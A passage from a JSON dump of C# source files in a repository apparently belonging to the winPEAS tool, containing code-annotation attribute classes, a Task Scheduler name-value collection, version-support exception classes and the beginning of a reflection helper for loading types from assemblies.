to enable inner items <c>DataContext</c> type resolve.\n    /// </summary>\n    [AttributeUsage(AttributeTargets.Class)]\n    internal sealed class XamlItemsControlAttribute : Attribute { }\n\n    /// <summary>\n    /// XAML attribute. Indicates the property of some <c>BindingBase</c>-derived type, that\n    /// is used to bind some item of <c>ItemsControl</c>-derived type. This annotation will\n    /// enable the <c>DataContext</c> type resolve for XAML bindings for such properties.\n    /// </summary>\n    /// <remarks>\n    /// Property should have the tree ancestor of the <c>ItemsControl</c> type or\n    /// marked with the <see cref=\"XamlItemsControlAttribute\"/> attribute.\n    /// </remarks>\n    [AttributeUsage(AttributeTargets.Property)]\n    internal sealed class XamlItemBindingOfItemsControlAttribute : Attribute { }\n\n    [AttributeUsage(AttributeTargets.Class, AllowMultiple = true)]\n    internal sealed class AspChildControlTypeAttribute : Attribute\n    {\n        public AspChildControlTypeAttribute([NotNull] string tagName, [NotNull] Type controlType)\n        {\n            TagName = tagName;\n            ControlType = controlType;\n        }\n\n        [NotNull] public string TagName { get; private set; }\n\n        [NotNull] public Type ControlType { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Property | AttributeTargets.Method)]\n    internal sealed class AspDataFieldAttribute : Attribute { }\n\n    [AttributeUsage(AttributeTargets.Property | AttributeTargets.Method)]\n    internal sealed class AspDataFieldsAttribute : Attribute { }\n\n    [AttributeUsage(AttributeTargets.Property)]\n    internal sealed class AspMethodPropertyAttribute : Attribute { }\n\n    [AttributeUsage(AttributeTargets.Class, AllowMultiple = true)]\n    internal sealed class AspRequiredAttributeAttribute : Attribute\n    {\n        public AspRequiredAttributeAttribute([NotNull] string attribute)\n        {\n            Attribute = attribute;\n        }\n\n        [NotNull] public string Attribute { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Property)]\n    internal sealed class AspTypePropertyAttribute : Attribute\n    {\n        public bool CreateConstructorReferences { get; private set; }\n\n        public AspTypePropertyAttribute(bool createConstructorReferences)\n        {\n            CreateConstructorReferences = createConstructorReferences;\n        }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly, AllowMultiple = true)]\n    internal sealed class RazorImportNamespaceAttribute : Attribute\n    {\n        public RazorImportNamespaceAttribute([NotNull] string name)\n        {\n            Name = name;\n        }\n\n        [NotNull] public string Name { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly, AllowMultiple = true)]\n    internal sealed class RazorInjectionAttribute : Attribute\n    {\n        public RazorInjectionAttribute([NotNull] string type, [NotNull] string fieldName)\n        {\n            Type = type;\n            FieldName = fieldName;\n        }\n\n        [NotNull] public string Type { get; private set; }\n\n        [NotNull] public string FieldName { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly, AllowMultiple = true)]\n    internal sealed class RazorDirectiveAttribute : Attribute\n    {\n        public RazorDirectiveAttribute([NotNull] string directive)\n        {\n            Directive = directive;\n        }\n\n        [NotNull] public string Directive { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Assembly, AllowMultiple = true)]\n    internal sealed class RazorPageBaseTypeAttribute : Attribute\n    {\n        public RazorPageBaseTypeAttribute([NotNull] string baseType)\n        {\n            BaseType = baseType;\n        }\n        public RazorPageBaseTypeAttribute([NotNull] string baseType, string pageName)\n        {\n            BaseType = baseType;\n            PageName = pageName;\n        }\n\n        [NotNull] public string BaseType { get; private set; }\n        [CanBeNull] public string PageName { get; private set; }\n    }\n\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class RazorHelperCommonAttribute : Attribute { }\n\n    [AttributeUsage(AttributeTargets.Property)]\n    internal sealed class RazorLayoutAttribute : Attribute { }\n\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class RazorWriteLiteralMethodAttribute : Attribute { }\n\n    [AttributeUsage(AttributeTargets.Method)]\n    internal sealed class RazorWriteMethodAttribute : Attribute { }\n\n    [AttributeUsage(AttributeTargets.Parameter)]\n    internal sealed class RazorWriteMethodParameterAttribute : Attribute { }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/NamedValueCollection.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Collections.Specialized;\nusing System.ComponentModel;\nusing System.Runtime.InteropServices;\nusing System.Xml.Serialization;\nusing winPEAS.TaskScheduler.TaskEditor.Native;\nusing winPEAS.TaskScheduler.V2;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Pair of name and value.\n    /// </summary>\n    [PublicAPI]\n    public class NameValuePair : IXmlSerializable, INotifyPropertyChanged, ICloneable, IEquatable<NameValuePair>, IEquatable<ITaskNamedValuePair>\n    {\n        private readonly ITaskNamedValuePair v2Pair;\n        private string name, value;\n\n        /// <summary>\n        /// Occurs when a property has changed.\n        /// </summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"NameValuePair\"/> class.\n        /// </summary>\n        public NameValuePair() { }\n\n        internal NameValuePair([NotNull] ITaskNamedValuePair iPair)\n        {\n            v2Pair = iPair;\n        }\n\n        internal NameValuePair([NotNull] string name, [NotNull] string value)\n        {\n            if (string.IsNullOrEmpty(name) || string.IsNullOrEmpty(value))\n                throw new ArgumentException(\"Both name and value must be non-empty strings.\");\n            this.name = name; this.value = value;\n        }\n\n        [XmlIgnore]\n        internal bool AttributedXmlFormat { get; set; } = true;\n\n        /// <summary>\n        /// Gets or sets the name.\n        /// </summary>\n        /// <value>\n        /// The name.\n        /// </value>\n        [NotNull]\n        public string Name\n        {\n            get { return v2Pair == null ? name : v2Pair.Name; }\n            set { if (string.IsNullOrEmpty(value)) throw new ArgumentNullException(nameof(Name)); if (v2Pair == null) name = value; else v2Pair.Name = value; PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(Name))); }\n        }\n\n        /// <summary>\n        /// Gets or sets the value.\n        /// </summary>\n        /// <value>\n        /// The value.\n        /// </value>\n        [NotNull]\n        public string Value\n        {\n            get { return v2Pair == null ? value : v2Pair.Value; }\n            set { if (string.IsNullOrEmpty(value)) throw new ArgumentNullException(nameof(Value)); if (v2Pair == null) this.value = value; else v2Pair.Value = value; PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(Value))); }\n        }\n\n        /// <summary>\n        /// Clones this instance.\n        /// </summary>\n        /// <returns>A copy of an unbound <see cref=\"NameValuePair\"/>.</returns>\n        [NotNull]\n        public NameValuePair Clone() => new NameValuePair(Name, Value);\n\n        object ICloneable.Clone() => Clone();\n\n        /// <summary>\n        /// Determines whether the specified <see cref=\"System.Object\"/>, is equal to this instance.\n        /// </summary>\n        /// <param name=\"obj\">The <see cref=\"System.Object\" /> to compare with this instance.</param>\n        /// <returns>\n        ///   <c>true</c> if the specified <see cref=\"System.Object\" /> is equal to this instance; otherwise, <c>false</c>.\n        /// </returns>\n        public override bool Equals(object obj)\n        {\n            var valuePair = obj as ITaskNamedValuePair;\n            if (valuePair != null)\n                return (this as IEquatable<ITaskNamedValuePair>).Equals(valuePair);\n            var pair = obj as NameValuePair;\n            if (pair != null)\n                return Equals(pair);\n            return base.Equals(obj);\n        }\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        public bool Equals([NotNull] NameValuePair other) => other.Name == Name && other.Value == Value;\n\n        /// <summary>Indicates whether the current object is equal to another object of the same type.</summary>\n        /// <param name=\"other\">An object to compare with this object.</param>\n        /// <returns>true if the current object is equal to the <paramref name=\"other\"/> parameter; otherwise, false.</returns>\n        bool IEquatable<ITaskNamedValuePair>.Equals(ITaskNamedValuePair other) => other.Name == Name && other.Value == Value;\n\n        /// <summary>\n        /// Returns a hash code for this instance.\n        /// </summary>\n        /// <returns>\n        /// A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. \n        /// </returns>\n        public override int GetHashCode() => new { A = Name, B = Value }.GetHashCode();\n\n        /// <summary>\n        /// Returns a <see cref=\"System.String\" /> that represents this instance.\n        /// </summary>\n        /// <returns>\n        /// A <see cref=\"System.String\" /> that represents this instance.\n        /// </returns>\n        public override string ToString() => $\"{Name}={Value}\";\n\n        /// <summary>\n        /// Implements the operator implicit NameValuePair.\n        /// </summary>\n        /// <param name=\"kvp\">The KeyValuePair.</param>\n        /// <returns>\n        /// The result of the operator.\n        /// </returns>\n        public static implicit operator NameValuePair(KeyValuePair<string, string> kvp) => new NameValuePair(kvp.Key, kvp.Value);\n\n        System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null;\n\n        void IXmlSerializable.ReadXml(System.Xml.XmlReader reader)\n        {\n            if (reader.MoveToContent() == System.Xml.XmlNodeType.Element && reader.LocalName == \"Value\")\n            {\n                Name = reader.GetAttribute(\"name\");\n                Value = reader.ReadString();\n                reader.Read();\n            }\n            else\n            {\n                reader.ReadStartElement();\n                XmlSerializationHelper.ReadObjectProperties(reader, this);\n                reader.ReadEndElement();\n            }\n        }\n\n        void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer)\n        {\n            if (AttributedXmlFormat)\n            {\n                writer.WriteAttributeString(\"name\", Name);\n                writer.WriteString(Value);\n            }\n            else\n            {\n                XmlSerializationHelper.WriteObjectProperties(writer, this);\n            }\n        }\n    }\n\n    /// <summary>\n    /// Contains a collection of name-value pairs.\n    /// </summary>\n    [PublicAPI]\n    public sealed class NamedValueCollection : IDisposable, ICollection<NameValuePair>, IDictionary<string, string>, INotifyCollectionChanged, INotifyPropertyChanged\n    {\n        private ITaskNamedValueCollection v2Coll;\n        private readonly List<NameValuePair> unboundDict;\n\n        /// <summary>\n        /// Occurs when the collection has changed.\n        /// </summary>\n        public event NotifyCollectionChangedEventHandler CollectionChanged;\n\n        /// <summary>\n        /// Occurs when a property has changed.\n        /// </summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        internal NamedValueCollection([NotNull] ITaskNamedValueCollection iColl) { v2Coll = iColl; }\n\n        internal NamedValueCollection()\n        {\n            unboundDict = new List<NameValuePair>(5);\n        }\n\n        [XmlIgnore]\n        internal bool AttributedXmlFormat { get; set; } = true;\n\n        internal void Bind([NotNull] ITaskNamedValueCollection iTaskNamedValueCollection)\n        {\n            v2Coll = iTaskNamedValueCollection;\n            v2Coll.Clear();\n            foreach (var item in unboundDict)\n                v2Coll.Create(item.Name, item.Value);\n        }\n\n        /// <summary>\n        /// Copies current <see cref=\"NamedValueCollection\"/> to another.\n        /// </summary>\n        /// <param name=\"destCollection\">The destination collection.</param>\n        public void CopyTo([NotNull] NamedValueCollection destCollection)\n        {\n            if (v2Coll != null)\n            {\n                for (var i = 1; i <= Count; i++)\n                    destCollection.Add(v2Coll[i].Name, v2Coll[i].Value);\n            }\n            else\n            {\n                foreach (var item in unboundDict)\n                    destCollection.Add(item.Name, item.Value);\n            }\n        }\n\n        /// <summary>\n        /// Releases all resources used by this class.\n        /// </summary>\n        public void Dispose()\n        {\n            if (v2Coll != null) Marshal.ReleaseComObject(v2Coll);\n        }\n\n        /// <summary>\n        /// Gets the number of items in the collection.\n        /// </summary>\n        public int Count => v2Coll?.Count ?? unboundDict.Count;\n\n        /// <summary>\n        /// Gets a collection of the names.\n        /// </summary>\n        /// <value>\n        /// The names.\n        /// </value>\n        [ItemNotNull, NotNull]\n        public ICollection<string> Names\n        {\n            get\n            {\n                if (v2Coll == null)\n                    return unboundDict.ConvertAll(p => p.Name);\n\n                var ret = new List<string>(v2Coll.Count);\n                foreach (var item in this)\n                    ret.Add(item.Name);\n                return ret;\n            }\n        }\n\n        /// <summary>\n        /// Gets a collection of the values.\n        /// </summary>\n        /// <value>\n        /// The values.\n        /// </value>\n        [ItemNotNull, NotNull]\n        public ICollection<string> Values\n        {\n            get\n            {\n                if (v2Coll == null)\n                    return unboundDict.ConvertAll(p => p.Value);\n\n                var ret = new List<string>(v2Coll.Count);\n                foreach (var item in this)\n                    ret.Add(item.Value);\n                return ret;\n            }\n        }\n\n        /// <summary>\n        /// Gets the value of the item at the specified index.\n        /// </summary>\n        /// <param name=\"index\">The index of the item being requested.</param>\n        /// <returns>The value of the name-value pair at the specified index.</returns>\n        [NotNull]\n        public string this[int index]\n        {\n            get\n            {\n                if (v2Coll != null)\n                    return v2Coll[++index].Value;\n                return unboundDict[index].Value;\n            }\n        }\n\n        /// <summary>\n        /// Gets the value of the item with the specified name.\n        /// </summary>\n        /// <param name=\"name\">Name to get the value for.</param>\n        /// <returns>Value for the name, or null if not found.</returns>\n        public string this[string name]\n        {\n            [CanBeNull]\n            get\n            {\n                string ret;\n                TryGetValue(name, out ret);\n                return ret;\n            }\n            [NotNull]\n            set\n            {\n                int idx;\n                NameValuePair old = null;\n                var nvp = new NameValuePair(name, value);\n                if (v2Coll == null)\n                {\n                    idx = unboundDict.FindIndex(p => p.Name == name);\n                    if (idx == -1)\n                        unboundDict.Add(nvp);\n                    else\n                    {\n                        old = unboundDict[idx];\n                        unboundDict[idx] = nvp;\n                    }\n                }\n                else\n                {\n                    var array = new KeyValuePair<string, string>[Count];\n                    ((ICollection<KeyValuePair<string, string>>)this).CopyTo(array, 0);\n                    idx = Array.FindIndex(array, p => p.Key == name);\n                    if (idx == -1)\n                        v2Coll.Create(name, value);\n                    else\n                    {\n                        old = array[idx];\n                        array[idx] = new KeyValuePair<string, string>(name, value);\n                        v2Coll.Clear();\n                        foreach (KeyValuePair<string, string> t in array)\n                            v2Coll.Create(t.Key, t.Value);\n                    }\n                }\n                if (idx == -1)\n                    OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Add, nvp));\n                else\n                    OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Replace, nvp, old, idx));\n            }\n        }\n\n        /// <summary>\n        /// Adds an item to the <see cref=\"T:System.Collections.Generic.ICollection`1\" />.\n        /// </summary>\n        /// <param name=\"item\">The object to add to the <see cref=\"T:System.Collections.Generic.ICollection`1\" />.</param>\n        public void Add([NotNull] NameValuePair item)\n        {\n            if (v2Coll != null)\n                v2Coll.Create(item.Name, item.Value);\n            else\n                unboundDict.Add(item);\n            OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Add, item));\n        }\n\n        /// <summary>\n        /// Adds a name-value pair to the collection.\n        /// </summary>\n        /// <param name=\"name\">The name associated with a value in a name-value pair.</param>\n        /// <param name=\"value\">The value associated with a name in a name-value pair.</param>\n        public void Add([NotNull] string name, [NotNull] string value)\n        {\n            Add(new NameValuePair(name, value));\n        }\n\n        /// <summary>\n        /// Adds the elements of the specified collection to the end of <see cref=\"NamedValueCollection\"/>.\n        /// </summary>\n        /// <param name=\"items\">The collection of whose elements should be added to the end of <see cref=\"NamedValueCollection\"/>.</param>\n        public void AddRange([ItemNotNull, NotNull] IEnumerable<NameValuePair> items)\n        {\n            if (v2Coll != null)\n            {\n                foreach (var item in items)\n                    v2Coll.Create(item.Name, item.Value);\n            }\n            else\n                unboundDict.AddRange(items);\n            OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Add, items));\n        }\n\n        /// <summary>\n        /// Clears the entire collection of name-value pairs.\n        /// </summary>\n        public void Clear()\n        {\n            if (v2Coll != null)\n                v2Coll.Clear();\n            else\n                unboundDict.Clear();\n            PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(Count)));\n            PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(\"Item[]\"));\n            OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset));\n        }\n\n        /// <summary>\n        /// Returns an enumerator that iterates through the collection.\n        /// </summary>\n        /// <returns>\n        /// A <see cref=\"T:System.Collections.Generic.IEnumerator`1\" /> that can be used to iterate through the collection.\n        /// </returns>\n        public IEnumerator<NameValuePair> GetEnumerator()\n        {\n            if (v2Coll == null)\n                return unboundDict.GetEnumerator();\n\n            return new ComEnumerator<NameValuePair, ITaskNamedValuePair>(() => v2Coll.Count, i => v2Coll[i], o => new NameValuePair(o));\n        }\n\n        private void OnCollectionChanged(NotifyCollectionChangedEventArgs e)\n        {\n            if (e.NewItems != null)\n                foreach (NameValuePair item in e.NewItems)\n                    item.AttributedXmlFormat = AttributedXmlFormat;\n            CollectionChanged?.Invoke(this, e);\n        }\n\n        /// <summary>\n        /// Removes the name-value pair with the specified key from the collection.\n        /// </summary>\n        /// <param name=\"name\">The name associated with a value in a name-value pair.</param>\n        /// <returns><c>true</c> if item successfully removed; <c>false</c> otherwise.</returns>\n        public bool Remove([NotNull] string name)\n        {\n            var i = -1;\n            NameValuePair nvp = null;\n            try\n            {\n                if (v2Coll == null)\n                {\n                    i = unboundDict.FindIndex(p => p.Name == name);\n                    if (i != -1)\n                    {\n                        nvp = unboundDict[i];\n                        unboundDict.RemoveAt(i);\n                    }\n                    return (i != -1);\n                }\n\n                for (i = 0; i < v2Coll.Count; i++)\n                {\n                    if (name == v2Coll[i].Name)\n                    {\n                        nvp = new NameValuePair(v2Coll[i]).Clone();\n                        v2Coll.Remove(i);\n                        return true;\n                    }\n                }\n                i = -1;\n            }\n            finally\n            {\n                if (i != -1)\n                {\n                    PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(Count)));\n                    PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(\"Item[]\"));\n                    OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, nvp, i));\n                }\n            }\n            return false;\n        }\n\n        /// <summary>\n        /// Removes a selected name-value pair from the collection.\n        /// </summary>\n        /// <param name=\"index\">Index of the pair to remove.</param>\n        public void RemoveAt(int index)\n        {\n            if (index < 0 || index >= Count)\n                throw new ArgumentOutOfRangeException(nameof(index));\n            NameValuePair nvp;\n            if (v2Coll != null)\n            {\n                nvp = new NameValuePair(v2Coll[index]).Clone();\n                v2Coll.Remove(index);\n            }\n            else\n            {\n                nvp = unboundDict[index];\n                unboundDict.RemoveAt(index);\n            }\n            PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(Count)));\n            PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(\"Item[]\"));\n            OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, nvp, index));\n        }\n\n        /// <summary>\n        /// Gets the value associated with the specified name.\n        /// </summary>\n        /// <param name=\"name\">The name whose value to get.</param>\n        /// <param name=\"value\">When this method returns, the value associated with the specified name, if the name is found; otherwise, <c>null</c>. This parameter is passed uninitialized.</param>\n        /// <returns><c>true</c> if the collection contains an element with the specified name; otherwise, <c>false</c>.</returns>\n        public bool TryGetValue(string name, out string value)\n        {\n            if (v2Coll != null)\n            {\n                foreach (var item in this)\n                {\n                    if (string.CompareOrdinal(item.Name, name) == 0)\n                    {\n                        value = item.Value;\n                        return true;\n                    }\n                }\n                value = null;\n                return false;\n            }\n\n            var nvp = unboundDict.Find(p => p.Name == name);\n            value = nvp?.Value;\n            return nvp != null;\n        }\n\n        /// <summary>\n        /// Gets the collection enumerator for the name-value collection.\n        /// </summary>\n        /// <returns>An <see cref=\"System.Collections.IEnumerator\"/> for the collection.</returns>\n        System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();\n\n        bool ICollection<NameValuePair>.Contains(NameValuePair item)\n        {\n            if (v2Coll == null)\n                return unboundDict.Contains(item);\n\n            foreach (var invp in this)\n                if (Equals(item, invp)) return true;\n            return false;\n        }\n\n        void ICollection<NameValuePair>.CopyTo(NameValuePair[] array, int arrayIndex)\n        {\n            if (v2Coll == null)\n                unboundDict.CopyTo(array, arrayIndex);\n            else\n            {\n                if (array.Length - arrayIndex < v2Coll.Count)\n                    throw new ArgumentException(\"Items in collection exceed available items in destination array.\");\n                if (arrayIndex < 0)\n                    throw new ArgumentException(@\"Array index must be 0 or greater.\", nameof(arrayIndex));\n                for (var i = 0; i < v2Coll.Count; i++)\n                    array[i + arrayIndex] = new NameValuePair(v2Coll[i]);\n            }\n        }\n\n        bool ICollection<NameValuePair>.IsReadOnly => false;\n\n        ICollection<string> IDictionary<string, string>.Keys => Names;\n\n        bool ICollection<KeyValuePair<string, string>>.IsReadOnly => false;\n\n        bool ICollection<NameValuePair>.Remove(NameValuePair item)\n        {\n            var i = -1;\n            try\n            {\n                if (v2Coll == null)\n                {\n                    if ((i = unboundDict.IndexOf(item)) != -1)\n                        return unboundDict.Remove(item);\n                }\n                else\n                {\n                    for (i = 0; i < v2Coll.Count; i++)\n                    {\n                        if (item.Equals(v2Coll[i]))\n                        {\n                            v2Coll.Remove(i);\n                            return true;\n                        }\n                    }\n                }\n                i = -1;\n            }\n            finally\n            {\n                if (i != -1)\n                {\n                    PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(nameof(Count)));\n                    PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(\"Item[]\"));\n                    OnCollectionChanged(new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, item, i));\n                }\n            }\n            return false;\n        }\n\n        bool IDictionary<string, string>.ContainsKey(string key) => Names.Contains(key);\n\n        void ICollection<KeyValuePair<string, string>>.Add(KeyValuePair<string, string> item)\n        {\n            Add(item.Key, item.Value);\n        }\n\n        bool ICollection<KeyValuePair<string, string>>.Contains(KeyValuePair<string, string> item) =>\n            ((ICollection<NameValuePair>)this).Contains(new NameValuePair(item.Key, item.Value));\n\n        void ICollection<KeyValuePair<string, string>>.CopyTo(KeyValuePair<string, string>[] array, int arrayIndex)\n        {\n            if (array.Length < Count + arrayIndex)\n                throw new ArgumentOutOfRangeException(nameof(array), @\"Array has insufficient capacity to support copy.\");\n            foreach (var item in ((IEnumerable<KeyValuePair<string, string>>)this))\n                array[arrayIndex++] = item;\n        }\n\n        bool ICollection<KeyValuePair<string, string>>.Remove(KeyValuePair<string, string> item) =>\n            ((ICollection<NameValuePair>)this).Remove(new NameValuePair(item.Key, item.Value));\n\n        IEnumerator<KeyValuePair<string, string>> IEnumerable<KeyValuePair<string, string>>.GetEnumerator()\n        {\n            foreach (var nvp in this)\n                yield return new KeyValuePair<string, string>(nvp.Name, nvp.Value);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/NotV1SupportedException.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing System.Runtime.Serialization;\nusing System.Security;\nusing System.Security.Permissions;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Abstract class for throwing a method specific exception.\n    /// </summary>\n    [DebuggerStepThrough, Serializable]\n    [PublicAPI]\n    public abstract class TSNotSupportedException : Exception\n    {\n        /// <summary>Defines the minimum supported version for the action not allowed by this exception.</summary>\n        protected readonly TaskCompatibility min;\n        private readonly string myMessage;\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TSNotSupportedException\"/> class.\n        /// </summary>\n        /// <param name=\"serializationInfo\">The serialization information.</param>\n        /// <param name=\"streamingContext\">The streaming context.</param>\n        protected TSNotSupportedException(SerializationInfo serializationInfo, StreamingContext streamingContext)\n            : base(serializationInfo, streamingContext)\n        {\n            try { min = (TaskCompatibility)serializationInfo.GetValue(\"min\", typeof(TaskCompatibility)); }\n            catch { min = TaskCompatibility.V1; }\n        }\n\n        internal TSNotSupportedException(TaskCompatibility minComp)\n        {\n            min = minComp;\n            var stackTrace = new StackTrace();\n            var stackFrame = stackTrace.GetFrame(2);\n            var methodBase = stackFrame.GetMethod();\n            myMessage = $\"{methodBase.DeclaringType?.Name}.{methodBase.Name} is not supported on {LibName}\";\n        }\n\n        internal TSNotSupportedException(string message, TaskCompatibility minComp)\n        {\n            myMessage = message;\n            min = minComp;\n        }\n\n        /// <summary>\n        /// Gets a message that describes the current exception.\n        /// </summary>\n        public override string Message => myMessage;\n\n        /// <summary>\n        /// Gets the minimum supported TaskScheduler version required for this method or property.\n        /// </summary>\n        public TaskCompatibility MinimumSupportedVersion => min;\n\n        internal abstract string LibName { get; }\n\n        /// <summary>\n        /// Gets the object data.\n        /// </summary>\n        /// <param name=\"info\">The information.</param>\n        /// <param name=\"context\">The context.</param>\n        [SecurityCritical, SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)]\n        public override void GetObjectData(SerializationInfo info, StreamingContext context)\n        {\n            if (info == null)\n                throw new ArgumentNullException(nameof(info));\n            info.AddValue(\"min\", min);\n            base.GetObjectData(info, context);\n        }\n    }\n\n    /// <summary>\n    /// Thrown when the calling method is not supported by Task Scheduler 1.0.\n    /// </summary>\n    [DebuggerStepThrough, Serializable]\n    public class NotV1SupportedException : TSNotSupportedException\n    {\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"NotV1SupportedException\" /> class.\n        /// </summary>\n        /// <param name=\"serializationInfo\">The serialization information.</param>\n        /// <param name=\"streamingContext\">The streaming context.</param>\n        protected NotV1SupportedException(SerializationInfo serializationInfo, StreamingContext streamingContext) : base(serializationInfo, streamingContext) { }\n        internal NotV1SupportedException() : base(TaskCompatibility.V2) { }\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"NotV1SupportedException\" /> class.\n        /// </summary>\n        /// <param name=\"message\">The message.</param>\n        public NotV1SupportedException(string message) : base(message, TaskCompatibility.V2) { }\n        internal override string LibName => \"Task Scheduler 1.0\";\n    }\n\n    /// <summary>\n    /// Thrown when the calling method is not supported by Task Scheduler 2.0.\n    /// </summary>\n    [DebuggerStepThrough, Serializable]\n    public class NotV2SupportedException : TSNotSupportedException\n    {\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"NotV1SupportedException\" /> class.\n        /// </summary>\n        /// <param name=\"serializationInfo\">The serialization information.</param>\n        /// <param name=\"streamingContext\">The streaming context.</param>\n        protected NotV2SupportedException(SerializationInfo serializationInfo, StreamingContext streamingContext) : base(serializationInfo, streamingContext) { }\n        internal NotV2SupportedException() : base(TaskCompatibility.V1) { }\n        internal NotV2SupportedException(string message) : base(message, TaskCompatibility.V1) { }\n        internal override string LibName => \"Task Scheduler 2.0 (1.2)\";\n    }\n\n    /// <summary>\n    /// Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified.\n    /// </summary>\n    [DebuggerStepThrough, Serializable]\n    public class NotSupportedPriorToException : TSNotSupportedException\n    {\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"NotV1SupportedException\" /> class.\n        /// </summary>\n        /// <param name=\"serializationInfo\">The serialization information.</param>\n        /// <param name=\"streamingContext\">The streaming context.</param>\n        protected NotSupportedPriorToException(SerializationInfo serializationInfo, StreamingContext streamingContext) : base(serializationInfo, streamingContext) { }\n        internal NotSupportedPriorToException(TaskCompatibility supportedVersion) : base(supportedVersion) { }\n        internal override string LibName => $\"Task Scheduler versions prior to 2.{((int)min) - 2} (1.{(int)min})\";\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/ReflectionHelper.cs",
    "content": "﻿using System;\nusing System.Reflection;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>Extensions related to <c>System.Reflection</c></summary>\n    internal static class ReflectionHelper\n    {\n        /// <summary>Loads a type from a named assembly.</summary>\n        /// <param name=\"typeName\">Name of the type.</param>\n        /// <param name=\"asmRef\">The name or path of the file that contains the manifest of the assembly.</param>\n        /// <returns>The <see cref=\"Type\"/> reference, or <c>null</c> if type or assembly not found.</returns>\n        public static Type LoadType(string typeName, string asmRef)\n        {\n            Type ret = null;\n            if (!TryGetType(Assembly.GetCallingAssembly(), typeName, ref ret))\n                if (!TryGetType(asmRef, typeName, ref ret))\n                    if (!TryGetType(Assembly.GetExecutingAssembly(), typeName, ref ret))\n                        TryGetType(Assembly.GetEntryAssembly(), typeName, ref ret);\n            return ret;\n        }\n\n        /// <summary>Tries the retrieve a <see cref=\"Type\"/> reference from an assembly.</summary>\n        /// <param name=\"typeName\">Name of the type.</param>\n        /// <param name=\"asmRef\">The assembly reference name from which to load the type.</param>\n        /// <param name=\"type\">The <see cref=\"Type\"/> reference, if found.</param>\n        /// <returns><c>true</c> if the type was found in the assembly; otherwise, <c>false</c>.</returns>\n        private static bool TryGetType(string asmRef, string typeName, ref Type type)\n        {\n            try\n            {\n                if (System.IO.File.Exists(asmRef))\n                    return TryGetType(Assembly.LoadFrom(asmRef), typeName, ref type);\n            }\n            catch { }\n            return false;\n        }\n\n        /// <summary>Tries the retrieve a <see cref=\"Type\"/> reference from an assembly.</summary>\n        /// <param name=\"typeName\">Name of the type.</param>\n        /// <param name=\"asm\">The assembly from which to load the type.</param>\n        /// <param name=\"type\">The <see cref=\"Type\"/> reference, if found.</param>\n        /// <returns><c>true</c> if the type was found in the assembly; otherwise, <c>false</c>.</returns>\n        private static bool TryGetType(Assembly asm, string typeName, ref Type type)\n        {\n            if (asm != null)\n            {\n                try\n                {\n                    type = asm.GetType(typeName, false, false);\n                    return (type != null);\n                }\n                catch { }\n            }\n            return false;\n        }\n\n        /// <summary>Invokes a named method on a created instance of a type with parameters.</summary>\n        /// <typeparam name=\"T\">The expected type of the method's return value.</typeparam>\n        /// <param name=\"type\">The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor.</param>\n        /// <param name=\"methodName\">Name of the method.</param>\n        /// <param name=\"args\">The arguments to provide to the method invocation.</param>\n        /// <returns>The value returned from the method.</returns>\n        public static T InvokeMethod<T>(Type type, string methodName, params object[] args)\n        {\n            object o = Activator.CreateInstance(type);\n            return InvokeMethod<T>(o, methodName, args);\n        }\n\n        /// <summary>Invokes a named method on a created instance of a type with parameters.</summary>\n        /// <typeparam name=\"T\">The expected type of the method's return value.</typeparam>\n        /// <param name=\"type\">The type to be instantiated and then used to invoke the method.</param>\n        /// <param 